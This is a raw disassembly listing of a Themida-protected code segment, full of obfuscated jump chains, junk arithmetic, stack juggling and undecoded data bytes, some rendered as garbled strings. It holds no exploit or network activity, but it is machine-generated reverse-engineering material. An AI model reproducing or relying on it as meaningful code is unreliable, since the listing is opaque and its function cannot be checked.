		dd 621968h, 24048900h, 892BEEB8h, 0D2BE5660h, 216A8443h
		dd 24348BF0h, 4C481h, 0C4E90000h
		db 6Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F263:				; CODE XREF: Themida_:005557EAj
		sub	edx, 7D8D3014h
		add	edx, 8B204D44h
		jmp	loc_55E0B4
; ---------------------------------------------------------------------------

loc_55F274:				; CODE XREF: Themida_:00560254j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	ecx, 0FFFFFFFFh
		jmp	loc_556F80
; ---------------------------------------------------------------------------
		db 68h
		dd 268Ah, 0E9243C89h, 0FFFF8C98h
dword_55F290	dd 6824048Bh, 5F9h, 54241C89h, 81241C8Bh, 4C4h,	0C34DE900h
					; DATA XREF: Themida_:005513C4o
		dd 0EC81FFFFh, 4, 476068h, 2B1FE900h, 5E68FFFFh, 8900002Ah
		dd 0D3E9240Ch
		db 52h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F2C7:				; CODE XREF: Themida_:00559D56j
		mov	[esp], edi
		jmp	loc_55F669
; ---------------------------------------------------------------------------
		db 89h
		dd 4812424h, 424h, 241C8B00h, 4C481h, 0C3810000h, 4, 0DEBE950h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55F2EE:				; CODE XREF: Themida_:0055A030j
		push	ecx
		push	ebx
		mov	ebx, 73D68CDh
		jmp	loc_5619FE
; ---------------------------------------------------------------------------

loc_55F2FA:				; CODE XREF: Themida_:0055CC91j
		mov	eax, 420706C5h
		or	ebp, eax
		jmp	loc_55D24F
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 65480AE4h, 4245431h,	67BFE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55F316:				; CODE XREF: Themida_:00551CD8j
		pop	esp
		jmp	loc_564074
; ---------------------------------------------------------------------------
		dd 0C7815F54h, 4, 5704C783h, 42474FFh, 5F2434FFh, 1F3668h
		dd 241C8900h, 0C381E389h, 4, 0FFB6B4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55F345:				; CODE XREF: Themida_:0056615Dj
		mov	esi, 3FC86DFBh
		jmp	loc_5667F6
; ---------------------------------------------------------------------------

loc_55F34F:				; CODE XREF: Themida_:00560DA1j
		sub	ebx, 49842EF8h
		sub	ebx, 6EFC045Ch
		sub	ebx, 0BA7BDA7Bh
		mov	edx, ebx
		pop	ebx
		add	edx, ebx
		push	ebx
		jmp	loc_561FC1
; ---------------------------------------------------------------------------

loc_55F36C:				; CODE XREF: Themida_:0055608Aj
		shl	esi, 1
		xor	esi, 964AFBF9h
		or	ecx, esi
		pop	esi
		push	edi
		mov	edi, 66195223h
		sub	ecx, edi
		pop	edi
		jmp	loc_552A83
; ---------------------------------------------------------------------------
		db 59h,	81h, 0E9h
		dd 14355044h, 22BE565Bh, 29657C15h, 728AE9F1h, 0F529FFFFh
		dd 0E924348Bh, 68C2h
dword_55F3A4	dd 24048B66h, 0D1468h, 240C8900h, 0C181E189h, 4, 6FEEE9h
					; DATA XREF: Themida_:005512C8o
		dd 2474FF00h, 60E95804h
		db 6Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55F3C7:				; CODE XREF: Themida_:00556C89j
		or	edx, eax
		shl	edx, 1
		push	edx
		mov	edx, 24h
		add	edx, edi
		xor	[edx], ebx
		pop	edx
		jmp	loc_560F9C
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0E950240Ch, 0FFFF9C62h
dword_55F3E4	dd 8452E952h, 0C483FFFFh, 0B85DE904h, 8805FFFFh, 8B213210h
					; DATA XREF: Themida_:005513DCo
		dd 0C483243Ch, 0DD4DE904h
		db 2 dup(0FFh)
word_55F402	dw 52ACh		; DATA XREF: Themida_:00551364o
		dd 0E6C0E4B6h, 30EE3004h, 0F6EE30F5h, 80EE86D5h, 0F680C7E6h
		dd 5D0CE948h, 0E9510000h, 0FFFFC9F5h
; ---------------------------------------------------------------------------

loc_55F424:				; CODE XREF: Themida_:0055B7F9j
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	esp
		jmp	loc_561607
; ---------------------------------------------------------------------------
		dd 0FF30782Dh, 6C952D68h, 3C8B4261h, 0DA9AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F45E:				; CODE XREF: Themida_:00552592j
		add	ebp, edx
		pop	edx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_558390
; ---------------------------------------------------------------------------

loc_55F478:				; CODE XREF: Themida_:0055FE81j
		pop	ecx
		add	ecx, 9BCC1C7Ah
		add	eax, ecx
		pop	ecx
		xor	eax, 0DE94438Ah
		sub	esp, 4
		mov	[esp], eax
		add	dword ptr [esp], 30014147h
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		sub	ebp, 30014147h
		jmp	loc_55803C
; ---------------------------------------------------------------------------
aIus		db '┴ЦИ',9,9,0
		db 0
; ---------------------------------------------------------------------------

loc_55F4AD:				; CODE XREF: Themida_:00558F84j
		add	eax, ebp
		sub	eax, 0C1541BCh
		jmp	loc_55753D
; ---------------------------------------------------------------------------

loc_55F4B9:				; CODE XREF: Themida_:0055FC71j
		mov	ecx, 6D7C4C48h
		not	ecx
		add	ecx, 1
		push	edx
		mov	edx, 900002A6h
		sub	ecx, edx
		mov	edx, [esp]
		push	edi
		jmp	loc_557049
; ---------------------------------------------------------------------------
		dd 0E905CA80h, 4DB8h
dword_55F4DC	dd 2B60F66h, 1C6DE9h, 39BA5200h, 812FB74Ah, 92690FCAh
					; DATA XREF: Themida_:00551270o
		dd 81D2F70Ch, 606018CAh, 0F2814A56h, 0EE45E0D3h, 0C26CCEBEh
		dd 5AD62983h, 3DCAC681h, 20E979BAh
		db 78h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55F513:				; CODE XREF: Themida_:0056013Aj
		sub	edi, 1DEA0EA8h
		add	edi, ebp
		add	edi, 1DEA0EA8h
		jmp	loc_5581BE
; ---------------------------------------------------------------------------
		dw 0E6C1h
		dd 24C68105h, 1547DFEh,	0FF505EF0h, 58042474h, 0FF24E3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55F53D:				; CODE XREF: Themida_:0055AEC3j
		xor	edi, eax
		xor	eax, edi
		push	edi
		jmp	loc_565271
; ---------------------------------------------------------------------------
		db 29h
		dd 89525DEEh, 0C5DE9F2h, 248B0000h, 4216624h, 8CE99C24h
		db 1Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F55F:				; CODE XREF: Themida_:00555EF7j
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_565147
; ---------------------------------------------------------------------------
aWhQ		db 'WhяQ',0
		dw 8900h
		dd 98E92414h, 5000000Eh, 3FCEB951h, 87E96E80h, 0FF000018h
		dd 8B042474h, 0C483240Ch, 24048F04h, 2424D35Ch,	0FF1F3AE9h
		dd 2C8152FFh, 5B534A24h, 0C5815D3Ah, 3A5B534Ah,	5DE9015Ah
		dd 40C5E9h, 23B200h, 0EA285AD5h, 8EAC059h, 0B050DAF6h
		dd 0C3EA808Eh, 80D2EA80h, 0C228CAC2h, 0FF798BE9h, 58C301FFh
		dd 5E9E68h, 241C8900h, 42474FFh, 24048F5Bh, 0FF8D72E9h
		dd 0B60F66FFh, 58756800h, 1C890000h, 81E38924h,	4ECh, 240C8900h
		dd 339EE9h
		db 0
byte_55F61D	db 66h,	8Bh, 4		; DATA XREF: Themida_:00551468o
		dd 4EC8324h, 0FFEED2E9h
		db 0FFh
byte_55F629	db 66h,	8Bh, 4		; DATA XREF: Themida_:00551268o
aQisszr		db '$Q┴АИ╖R',0
		dd 0C1DAF700h, 0E2C103EAh, 0CFCA8105h, 8163534Ch, 2CB015C2h
		dd 5AD00100h, 5C240487h, 588768h, 24048900h, 6824048Bh
		dd 1002h, 54241489h, 0FFA797E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55F669:				; CODE XREF: Themida_:0055F2CAj
		mov	edi, 3C0B0A10h
		jmp	loc_559722
; ---------------------------------------------------------------------------
		db 33h
		dd 0BDE92434h, 8100001Eh, 433831EBh, 5BD8299Fh,	0FFE501E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55F689:				; CODE XREF: Themida_:0055D11Ej
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_553D52
; ---------------------------------------------------------------------------

loc_55F6A6:				; CODE XREF: Themida_:00561DBFj
		mov	esp, [esp]
		jmp	loc_56392A
; ---------------------------------------------------------------------------
word_55F6AE	dw 4A68h		; DATA XREF: Themida_:00551298o
		dd 6800007Fh, 6E04h, 0C58E9h, 2DBD6800h, 815965C6h, 0E76191C1h
		dd 0ABF18111h, 0E91375ADh, 0FFFF2965h, 4BDh, 0E9EA2900h
		dd 0FFFF6A41h, 26DDC581h, 0F58174C1h, 5F77389h,	0E957D5F7h
		dd 50F4h, 0E9E08950h, 0FFFF383Dh
dword_55F6FC	dd 240C8B66h, 0E6F68h, 240C8900h, 0BE56E189h, 1EB37CA4h
					; DATA XREF: Themida_:005514A0o
		dd 3990E681h, 0EEC11F35h, 81DEF702h, 312922CEh,	2FBB5316h
		dd 81515855h, 4418AFC3h, 8EEB816Dh, 81003C39h, 0A44926F3h
		dd 5BDE21F8h, 395EEE81h, 0F1014640h, 5724348Bh,	0C781E789h
		dd 4, 4C781h, 39E90000h
		db 59h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55F75B:				; CODE XREF: Themida_:00556554j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_55831B
; ---------------------------------------------------------------------------
		dd 459C800h, 2CD800B6h,	862EE9B6h, 1433FFFFh, 0C895C24h
		dd 0E390E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F78A:				; CODE XREF: Themida_:00559876j
		mov	ebx, 799C1BC9h
		sub	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		pop	dword ptr [edx+30h]
		mov	ecx, [esp]
		push	edx
		push	56B3h
		mov	[esp], esp
		jmp	loc_560C45
; ---------------------------------------------------------------------------
		db 89h,	0EFh, 0E9h
		dd 0FFFF85B4h
; ---------------------------------------------------------------------------

loc_55F7B8:				; CODE XREF: Themida_:0056192Aj
		pop	esp
		jmp	loc_552F66
; ---------------------------------------------------------------------------
a1S_0		db '\1цS╩,',0
		db 2 dup(0), 68h
		dd 41C8h, 0B9240C89h, 1CDE3AC4h, 159CB29h, 0B85055FBh
		dd 6643AAEh, 0F24C22BDh, 58C53109h, 0FFFEF3E9h,	5BF800FFh
		dd 68D8005Bh, 789Fh, 0B6241489h, 0F6CEFEB3h, 1FB050D6h
		dd 51E9A824h, 0F7FFFFD8h, 4EC83F9h, 89241489h, 4EC83E2h
		dd 55241C89h, 56269C68h, 0F5815D15h, 7CEF6AE4h,	7D4EC581h
		dd 0ED812C50h, 9609C9C2h, 515DEB89h, 18468FB9h,	57EA815Bh
		dd 5124DF60h, 0FFE304E9h, 0BCE94AFFh, 0C1FFFF52h, 0E38104E3h
		dd 40007A4Ch, 0FF8E1AE9h, 4EC81FFh, 89000000h, 0EC81243Ch
		dd 4, 0BB241C89h, 6DE046B0h, 0FF49FEE9h, 7EE951FFh, 0B8000022h
		dd 1, 0DEE9C129h, 54FFFFD7h, 4C7815Fh, 83000000h, 3C8704EFh
		dd 8F545C24h, 8FE92404h
		db 9Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F8A3:				; CODE XREF: Themida_:005563A6j
		push	95Bh
		mov	[esp], esi
		push	edx
		push	esp
		jmp	loc_55B6EF
; ---------------------------------------------------------------------------

loc_55F8B2:				; CODE XREF: Themida_:00555D03j
		push	2C15h
		mov	[esp], ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_55200C
; ---------------------------------------------------------------------------
		db 89h
		dd 0E389241Ch, 4EC81h, 83E90000h, 8900005Eh, 0E0892404h
		dd 3257BA52h, 0E94261EEh, 0FFFF563Dh
; ---------------------------------------------------------------------------

loc_55F8F8:				; CODE XREF: Themida_:0055E4CDj
		mov	esi, 4
		jmp	loc_56669D
; ---------------------------------------------------------------------------
		dw 0C583h
		dd 242C3304h, 0FF81EAE9h, 0A4B850FFh, 0C1732B25h, 0F4E905E8h
		dd 0B9FFFF9Ch, 14326FC6h, 3995BB53h, 0B5E95D94h, 8100003Ch
		dd 1EDEF3h, 24048B70h, 0E904C483h, 0FFFF1BAFh, 0E1F6815Eh
		dd 8B330D53h, 0C483240Ch, 8E6C104h, 0F4EE814Eh,	0E997C528h
		dd 268Bh
; ---------------------------------------------------------------------------

loc_55F958:				; CODE XREF: Themida_:0055A365j
		push	2B66h
		mov	[esp], edi
		push	edx
		jmp	loc_5647AF
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 4, 77E4C581h, 0E9571597h, 39E5h, 4BDh, 5DE80100h, 0FFB248E9h
		dd 0E28952FFh, 4C281h, 0C2810000h, 4, 5C241487h, 0FF6FB7E9h
		dd 244401FFh, 815D5804h, 4C5h, 4C58100h, 87000000h, 0E95C242Ch
		dd 0FFFFF5CDh, 3D59BD55h, 0D5F75129h, 0E5814545h, 5BB76D4Bh
		dd 6F9CE9h
		db 0
aM0Sg_		db '╛0ьИG_',0           ; DATA XREF: Themida_:00551490o
		dd 57EE8000h, 39C868h, 241C8900h, 0FF6DB1E9h, 0C48359FFh
		dd 24048F04h, 0E924248Bh, 0FFFFAB4Ch, 70F568h, 240C8900h
		dd 3353E954h
		db 2 dup(0)
word_55FA02	dw 8B66h		; DATA XREF: Themida_:005512FCo
		dd 43682404h, 8900001Fh, 0E954243Ch, 0FFFF2C6Dh, 8B240C87h
		dd 0F662424h, 9C2404ABh, 5591E9h, 68575E00h, 265C2792h
		dd 19CF815Fh, 811D873Eh, 0DE6D56CFh, 10EF8113h,	0E937C3C7h
		dd 720Dh
; ---------------------------------------------------------------------------

loc_55FA44:				; CODE XREF: Themida_:00553707j
		push	1B02h
		mov	[esp], edi
		push	eax
		push	ecx
		mov	ecx, 64B6514Dh
		mov	eax, ecx
		pop	ecx
		jmp	loc_5563E2
; ---------------------------------------------------------------------------

loc_55FA5B:				; CODE XREF: Themida_:00563703j
		push	0E16h
		mov	[esp], edi
		mov	edi, 166202F4h
		jmp	loc_55CBAC
; ---------------------------------------------------------------------------
		db 0B1h, 55h, 52h
		dd 0D088CA88h, 0FFE67CE9h, 240C8BFFh, 418A6853h, 24890000h
		dd 24048124h, 4, 0D0B9515Bh, 410AFC15h,	6607E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55FA9A:				; CODE XREF: Themida_:00565354j
		xchg	edi, [esp]
		pop	esp
		jmp	loc_556F66
; ---------------------------------------------------------------------------
		db 89h
		dd 34BF243Ch, 0C1577C32h, 564704EFh, 910A40BEh,	5EF70129h
		dd 8102EFC1h, 0C23355EFh, 8DC3810Bh, 16A9A36h, 8DEB81FBh
		dd 5F6A9A36h, 4EC81h, 3C890000h, 4BF24h, 0FB290000h, 721AE9h
		dd 4C38100h, 81000000h,	4EBh, 241C8700h, 242C895Ch, 35DEE9h
		db 0
; ---------------------------------------------------------------------------

loc_55FAFD:				; CODE XREF: Themida_:0056129Bj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebp
		jmp	loc_55EDBB
; ---------------------------------------------------------------------------
		db 0FFh
		dd 34FF2434h, 0C4815824h, 4, 0FF3674E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55FB25:				; CODE XREF: Themida_:005641B6j
		xor	ebp, ecx
		xor	ecx, ebp
		jmp	loc_561AA2
; ---------------------------------------------------------------------------

loc_55FB2E:				; CODE XREF: Themida_:005616C9j
		mov	ebp, [esp]
		jmp	loc_55EEB8
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 0C293E6Ah, 5EE9C129h, 81FFFF54h, 2027A7F1h, 26B95175h
		dd 159BF21h, 6D2D59C8h,	1697214h, 6DB951C8h, 0E9697214h
		dd 0FFFF7CCBh, 23CBBB53h, 86E964BCh, 59FFFFEDh,	0D9F7CB87h
		dd 0FAE9CB87h, 500006Eh, 4, 5C240487h, 0FF2434FFh, 83582434h
		dd 5FE904ECh
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55FB93:				; CODE XREF: Themida_:005614C2j
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 109F3C8Fh
		not	ecx
		dec	ecx
		jmp	loc_561338
; ---------------------------------------------------------------------------

loc_55FBB1:				; CODE XREF: Themida_:0055E29Fj
		neg	eax
		or	eax, 43C445ABh
		jmp	loc_5622D6
; ---------------------------------------------------------------------------
		db 59h,	88h, 3Ch
		dd 2434FF87h, 83241C8Bh, 0E26804C4h, 8900004Eh,	0E0892404h
		dd 405h, 0E9575300h, 5218h, 24148B66h, 2C481h, 0B5510000h
		dd 80D5F6BBh, 0ED8021C5h, 5DED80EDh, 2853ED80h,	70459E8h
		dd 86E9362Ch
		db 65h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55FC07:				; CODE XREF: Themida_:00554C8Dj
		push	ebx
		mov	ebx, 0A22EDE90h
		mov	eax, ebx
		mov	ebx, [esp]
		jmp	loc_558F61
; ---------------------------------------------------------------------------
		db 0FFh
		dd 59042474h, 5C24048Fh, 0E9E18951h, 0FFFF8DE1h, 5E2434FFh
		dd 4C481h, 43E90000h
		db 4Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55FC37:				; CODE XREF: Themida_:00559CA4j
		or	esi, 30A1581Ch
		sub	esi, 7FFD5DBAh
		sub	eax, 6755321Eh
		sub	eax, esi
		add	eax, 6755321Eh
		pop	esi
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 2F9949A7h
		xor	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		shr	edx, 5
		push	ecx
		jmp	loc_55F4B9
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0FFCB45E9h, 0E28952FFh, 4BF57h, 0FA010000h, 0FF36E2E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55FC91:				; CODE XREF: Themida_:0055F20Aj
		mov	[esp], ebp
		push	eax
		push	798A7A86h
		jmp	loc_564C6E
; ---------------------------------------------------------------------------

loc_55FC9F:				; CODE XREF: Themida_:00555431j
		add	edi, 4
		add	edi, 4
		jmp	loc_552202
; ---------------------------------------------------------------------------
		dd 8E292F05h, 57C80170h, 0CC274FBFh, 0D7F74F6Eh, 8EFC14Fh
		dd 0EF81D7F7h, 8EE0A2F8h, 26E9F829h, 0BFFFFF45h, 46836679h
		dd 0FF4B77E9h, 28F368FFh, 14890000h, 5CD76824h,	4890000h
		dd 4EC8124h, 89000000h,	0D4B82404h, 0C10B3B3Ch,	3F6806E0h
		dd 89000043h, 0B951243Ch, 61AF1D08h, 0D9F7D9F7h, 8904EC83h
		dd 14F7240Ch, 240C8B24h, 8104C483h, 5C04A4E1h, 5FE95042h
		dd 0BA00002Ah, 71547EA7h, 8106EAC1h, 542092EAh,	1623E9F9h
		dd 65BA0000h, 0C15FAF7Ah, 6804EAh, 52000000h, 906A47BAh
		dd 2444817Bh, 6227B304h, 2454012Eh, 0A7B4E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55FD62:				; CODE XREF: Themida_:00564DCEj
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_557778
; ---------------------------------------------------------------------------

loc_55FD6D:				; CODE XREF: Themida_:0056262Dj
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_558026
; ---------------------------------------------------------------------------

loc_55FD78:				; CODE XREF: Themida_:005552ECj
		pop	ebx
		jmp	loc_5570E3
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 55074D12h, 515BD801h, 0C181E189h, 4,	8704E983h, 895C240Ch
		dd 0BDE92434h
		db 47h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55FD9F:				; CODE XREF: Themida_:0055ECAFj
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		push	4BEAh
		mov	[esp], ecx
		jmp	loc_55AF2D
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 4BE56h, 1EE90000h
		db 44h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55FDC7:				; CODE XREF: Themida_:005519E3j
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		jmp	loc_55C242
; ---------------------------------------------------------------------------

loc_55FE01:				; CODE XREF: Themida_:00560EA1j
		push	ebp
		mov	ebp, 0F557ECAh
		jmp	loc_5576C7
; ---------------------------------------------------------------------------

loc_55FE0C:				; CODE XREF: Themida_:00559849j
		mov	edi, ebp
		pop	ebp
		jmp	loc_562D86
; ---------------------------------------------------------------------------
		dd 0FFC18058h, 667DC980h, 0C0BFE953h, 1489FFFFh, 0E9E28924h
		dd 1495h, 815AD129h, 336D0EC3h,	84E9E92Fh, 815BFFFFh, 4C3h
		dd 2924E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55FE46:				; CODE XREF: Themida_:00559517j
		pop	esp
		mov	[esp], ebp
		push	edx
		push	16F5h
		mov	[esp], ebx
		jmp	loc_560096
; ---------------------------------------------------------------------------
		dd 8101EF83h, 0D845F9EFh, 0B2B85050h, 0E964746Fh, 0FFFF5B7Eh
; ---------------------------------------------------------------------------

loc_55FE6C:				; CODE XREF: Themida_:005667CFj
		mov	ecx, ebx
		pop	ebx
		sub	ecx, 37AB6F11h
		not	ecx
		add	ecx, 20472BBh
		push	ecx
		not	dword ptr [esp]
		jmp	loc_55F478
; ---------------------------------------------------------------------------

loc_55FE86:				; CODE XREF: Themida_:00559A67j
		add	eax, 26052EBDh
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 6F3B60B9h
		jmp	loc_564CAC
; ---------------------------------------------------------------------------
		db 83h
		dd 3C8704EFh, 0F7E95C24h
		db 5Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55FEA7:				; CODE XREF: Themida_:0055C125j
		mov	esp, [esp]
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		jmp	loc_559E4D
; ---------------------------------------------------------------------------
		dw 752Dh
		dd 89E33E96h, 519EE9C2h, 3C89FFFFh, 3695BF24h, 0EF813169h
		dd 184107ABh, 0FF22A6E9h, 2B2EBAFFh, 0EA811394h, 1, 157EF281h
		dd 0E9516447h, 0FFFFEE80h, 33241C31h, 71E9241Ch, 5E000041h
		dd 4FA6BD55h, 6C010A3Dh, 5B5D0824h, 68240401h, 4CEFh, 0BD242C89h
		dd 2B68183Bh, 0FF6730E9h, 27272DFFh, 9EE90D3Eh
		db 76h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55FF23:				; CODE XREF: Themida_:00566169j
		mov	esi, 11372025h
		mov	edi, 75ED44E5h
		xor	edi, esi
		pop	esi
		inc	edi
		xor	edi, 3B6D6126h
		add	edi, 50DD59BCh
		xor	edi, 0B0945FA7h
		add	ebp, edi
		pop	edi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 7F8B3BE7h
		add	ecx, 6CFB6321h
		shl	ecx, 3
		push	3C0Bh
		mov	[esp], ebx
		jmp	loc_56673C
; ---------------------------------------------------------------------------
		db 50h
		dd 0FF27B8B8h, 1ACC0506h, 0C189FF40h, 0E9C80158h, 0FFFFE148h
; ---------------------------------------------------------------------------

loc_55FF7C:				; CODE XREF: Themida_:0056617Bj
		xor	edi, 3001C90h
		jmp	loc_557C5B
; ---------------------------------------------------------------------------
		db 83h
		dd 5F042404h, 7C4ABA52h, 0F2817DABh, 0CB12201h,	0FF35CAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55FF9D:				; CODE XREF: Themida_:00555C6Bj
		mov	edx, edi
		pop	edi
		jmp	loc_554D89
; ---------------------------------------------------------------------------
		align 2
		dw 66C3h
		dd 8324048Bh, 0EB8002C4h, 80C3288Ah, 0C2688AC3h, 89000026h
		dd 0E9502414h, 0FFFFE06Ah, 86E9D829h, 66FFFF30h, 13D5F281h
		dd 5EAC166h, 66DAF766h,	6CBE6656h, 0F22966CCh, 6864E9h
		db 0
; ---------------------------------------------------------------------------

loc_55FFE5:				; CODE XREF: Themida_:00563CFCj
		sub	esi, 79425BE9h
		add	esi, 2E36FAE0h
		mov	ecx, esi
		jmp	loc_55C028
; ---------------------------------------------------------------------------
aQTbZ7qrSeq	db '╨цQиt│ЙZ7qRяЙИEQ',0
		align 2
		dw 0EB81h
		dd 1AFB1D0h, 1C8BD889h,	476BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56001A:				; CODE XREF: Themida_:0055EED4j
		and	eax, esi
		jmp	loc_55929C
; ---------------------------------------------------------------------------

loc_560021:				; CODE XREF: Themida_:00564CC9j
		push	7FDCh
		mov	[esp], ecx
		push	5BAD3C20h
		mov	ecx, [esp]
		add	esp, 4
		xor	[esp+4], ecx
		jmp	loc_560A17
; ---------------------------------------------------------------------------
		dd 4C48158h, 52000000h,	3565BE56h, 0F2891798h, 8324348Bh
		dd 81E904C4h, 5000000Fh, 0C230FB8h, 3E0C15Bh, 3047BF57h
		dd 0E7C13CDCh, 0E2E78108h, 0C10DDA62h, 0EFC102EFh, 0E2C78108h
		dd 0E946FC01h, 3Ch, 94E9F029h, 81FFFF67h, 4C4h,	0F1AAE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560096:				; CODE XREF: Themida_:0055FE53j
		pop	edx
		mov	ebp, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	edx
		mov	edx, ebp
		jmp	loc_55559A
; ---------------------------------------------------------------------------
aQ0vnus_	db 'Q╧0vNuИ╨.',0
		align 2

loc_5600B6:				; CODE XREF: Themida_:005581ACj
		mov	[esp], eax
		mov	eax, ebp
		jmp	loc_557739
; ---------------------------------------------------------------------------
		dd 0EEE9F801h
		db 85h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5600C7:				; CODE XREF: Themida_:00551B97j
		push	edx
		mov	edx, esp
		jmp	loc_5605CA
; ---------------------------------------------------------------------------

loc_5600CF:				; CODE XREF: Themida_:0055565Ej
		push	eax
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_556718
; ---------------------------------------------------------------------------
		db 68h,	0B4h, 9
		dd 0A6E90000h, 51FFFF9Ah, 42474FFh, 0E9240C8Bh,	0FFFF212Dh
; ---------------------------------------------------------------------------

loc_5600F0:				; CODE XREF: Themida_:0055509Fj
		push	ecx
		mov	ecx, 62FC4BF7h
		jmp	loc_566B49
; ---------------------------------------------------------------------------
		db 47h
		dd 0DEBE5647h, 31ECAC4Dh, 0C1815EF7h, 2F147694h, 0BF57F901h
		dd 5A4F7637h, 0F5DBD55h, 0E94535DAh, 0FFFFC6CBh, 148BD328h
		dd 4C48324h, 6804EBC0h,	638h, 0FF2BE1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_560135:				; CODE XREF: Themida_:00555DB6j
		mov	ebp, 7F236DC9h
		jmp	loc_55F513
; ---------------------------------------------------------------------------
		db 0BDh
		dd 2B8C38D3h, 38D7F581h, 0E9892B8Ch, 536DE95Dh,	0EDBA0000h
		dd 815ED77Dh, 34484EF2h, 0E2814A4Ah, 6F0A29E4h,	506ACA81h
		dd 0EA8119DDh, 1DDF71E6h, 0FF235AE9h, 5631BAFFh, 0CA81556Dh
		dd 686B36BFh, 6690CA81h, 10E905D1h
		db 0B7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56018B:				; CODE XREF: Themida_:0055C27Fj
		mov	esi, 300B5A43h
		push	692Eh
		mov	[esp], ebx
		push	ebp
		jmp	loc_5530DD
; ---------------------------------------------------------------------------
		dw 0EEC1h
		dd 56EE8106h, 8961EE46h, 3CE95EF1h, 53FFFF91h, 0DD89D389h
		dd 4EE95A5Bh, 8800002Fh, 5966CCh, 48B66E6h, 2C48324h, 3D5768h
		dd 24048900h, 0CCFEDAB4h, 86DDB353h, 86D0F6C3h,	6866C3h
		dd 241C2800h, 83241C8Ah, 0DBF602C4h, 3075B151h,	240C8BCBh
		dd 8004C483h, 0DC08F2F3h, 67EFE95Bh, 0EB81FFFFh, 74B4BA29h
		dd 95BDA29h, 8AE95AD6h,	31FFFF1Dh, 2C33242Ch, 257BE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_56021E:				; CODE XREF: Themida_:0055375Bj
		push	55532348h
		pop	ebp
		sub	ebp, 55532344h
		add	eax, 361C5BB0h
		add	eax, ebp
		sub	eax, 361C5BB0h
		pop	ebp
		xchg	eax, [esp]
		jmp	loc_564810
